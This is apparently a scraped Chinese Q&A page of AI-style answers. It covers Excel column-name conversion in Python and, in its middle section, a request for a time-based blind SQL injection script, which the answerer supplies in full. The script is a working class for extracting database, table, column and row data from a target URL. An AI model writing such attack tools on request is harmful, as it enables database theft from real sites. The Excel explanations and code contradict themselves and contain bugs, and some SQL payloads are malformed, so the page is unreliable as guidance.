def excel_column(x): if x<26: column1=x+64 column2=chr(column1+1) else: column3=x//26+64 column4=x%26+64 column2=chr(column3)+chr(column4+1) print ("转码",column2) return column2

这是一个 Python 的函数，用于将数字转换成 Excel 中对应的列名。具体来说，该函数接受一个整数参数 x，将其转换成 Excel 中的列名，并返回该列名。

该函数的实现方式比较巧妙，对于小于 26 的数字，直接将其加上 64，然后调用 chr() 函数转换成对应的 ASCII 字符。对于大于等于 26 的数字，需要将其分解成两个部分，其中第一部分为 x // 26，表示 x 对 26 取整后的结果；第二部分为 x % 26，表示 x 对 26 取余后的结果。然后将这两个部分分别加上 64，再调用 chr() 函数转换成对应的 ASCII 字符，最终得到该数字对应的 Excel 列名。

需要注意的是，该函数并没有考虑 x 的取值范围，如果 x 小于等于 0，或者大于 702（即 ZZ 列），则会返回不正确的结果。另外，该函数只是打印了转码后的结果，而没有返回任何值，因此在调用该函数时需要注意。如果需要获取转码后的结果，可以将 print 语句改为 return 语句，如下所示：

def excel_column(x):
    if x<26:
        column1=x+64
        column2=chr(column1+1)
    else:
        column3=x//26+64
        column4=x%26+64
        column2=chr(column3)+chr(column4+1)
    return column2

这样调用该函数时，就可以获取转码后的结果了。

相关问题

import time import requests def get_data_len(url, data_payload): length = 1 while True: data = f"id=1' and if(LENGTH({data_payload})>{length},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: length += 1 else: break return length def get_ASCII(url, ascii_payload): ascii_value = '' for i in range(1, len(ascii_payload) + 1): left = 32 right = 126 while left <= right: mid = left + (right - left) // 2 data = f"id=1' and if(ASCII(SUBSTRING({ascii_payload}, {i}, 1))>{mid},sleep(0.4),1)--+" start_time = time.time() response = requests.get(url, params=data) end_time = time.time() if end_time - start_time >= 0.4: left = mid + 1 else: right = mid - 1 ascii_value += chr(left) return ascii_value def get_schema_name(url): len = get_data_len(url, 'database()') print('获取数据库名字') db_name = get_ASCII(url, f'substr(database(),1,{len})') print(db_name) def get_table_name(url): table_name = get_ASCII(url, '(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())') print(table_name) def get_column_names(url, table_name): column_names = get_ASCII(url, f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')") print(column_names) def get_column_data(url, table_name, column_name): column_data = get_ASCII(url, f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})") print(column_data) url = "http://192.168.124.128/sqli-labs-master/Less-9/??id=1/" print('开始') get_schema_name(url) print() get_table_name(url) get_column_names(url,'emails') table_name = 'emails' column_name = 'email_id' get_column_data(url, table_name, column_name)帮我写个类似这样的python时间盲注脚本

好的，以下是一个简单的时间盲注脚本示例：

import requests
import time

class TimeBasedSQLi:
    def __init__(self, url, sleep_time=0.5):
        self.url = url
        self.sleep_time = sleep_time

    def make_request(self, payload):
        data = {"id": f"1' AND {payload} AND '1'='1"}
        start_time = time.time()
        response = requests.get(self.url, params=data)
        end_time = time.time()

        if end_time - start_time >= self.sleep_time:
            return True
        else:
            return False

    def get_db_name(self):
        length = 1
        while True:
            payload = f"IF(LENGTH(database())>{length},SLEEP({self.sleep_time}),1)"
            if self.make_request(payload):
                length += 1
            else:
                break
        
        db_name = ''
        for i in range(1, length):
            for j in range(32, 127):
                payload = f"IF(ASCII(SUBSTRING(database(), {i}, 1))={j},SLEEP({self.sleep_time}),1)"
                if self.make_request(payload):
                    db_name += chr(j)
                    break

        return db_name

    def get_table_names(self):
        table_names = ''
        payload = f"(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{self.get_db_name()}')"
        length = 1

        while True:
            check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)"
            if self.make_request(check_payload):
                length += 1
            else:
                break

        for i in range(1, length):
            for j in range(32, 127):
                check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)"
                if self.make_request(check_payload):
                    table_names += chr(j)
                    break

        return table_names.split(',')

    def get_column_names(self, table_name):
        column_names = ''
        payload = f"(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}')"
        length = 1

        while True:
            check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)"
            if self.make_request(check_payload):
                length += 1
            else:
                break

        for i in range(1, length):
            for j in range(32, 127):
                check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)"
                if self.make_request(check_payload):
                    column_names += chr(j)
                    break

        return column_names.split(',')

    def get_column_data(self, table_name, column_name):
        column_data = ''
        payload = f"(SELECT GROUP_CONCAT({column_name}) FROM {table_name})"
        length = 1

        while True:
            check_payload = f"IF(LENGTH(({payload}),{length}),SLEEP({self.sleep_time}),1)"
            if self.make_request(check_payload):
                length += 1
            else:
                break

        for i in range(1, length):
            for j in range(32, 127):
                check_payload = f"IF(ASCII(SUBSTRING(({payload}),{i},1))={j},SLEEP({self.sleep_time}),1)"
                if self.make_request(check_payload):
                    column_data += chr(j)
                    break

        return column_data.split(',')

# 示例用法
url = "http://example.com/vuln.php"
sqli = TimeBasedSQLi(url)

db_name = sqli.get_db_name()
print(f"Database name: {db_name}")

table_names = sqli.get_table_names()
print(f"Table names: {table_names}")

column_names = sqli.get_column_names('users')
print(f"Column names: {column_names}")

column_data = sqli.get_column_data('users', 'username')
print(f"Column data: {column_data}")

注意，这只是一个基本的脚本示例，具体的使用方法和payload需要根据实际情况进行调整。

excel表格中的列数对应的索引

在Excel表格中，列数通常以字母A至Z表示，从A1开始递增。如果你有一个列标题（如"A"、"B"、"AA"等），你可以通过以下方式找到其相应的列数：

1. **给定列标题对应列数**[^1]:

   def col_number(title):
       """
       Convert Excel column title to its numerical index.
       """
       if isinstance(title, str):  # 列标题输入
           return ord(title.upper()) - 64
       else:  # 如果输入是数字，直接返回
           return title

2. **给定列数得到标题**:

   def title_from_number(column_num):
       """
       Convert Excel column number to its corresponding title.
       """
       if isinstance(column_num, int):  # 列数值输入
           if column_num > 0 and column_num <= 26:  # 基本字母范围
               return chr(column_num + 64)
           else:  # 处理扩展列标题
               offset = 26
               while column_num >= offset:
                   column_num -= offset
                   if column_num == 0:
                       return chr(65) + "A"
               return chr(column_num + 64) + chr(offset + 64)
       else:  # 如果输入不是数字，返回None或其他错误提示
           raise ValueError("Invalid input for column number")

例如，`col_number('A')`会返回1，`title_from_number(1)`则返回'A'。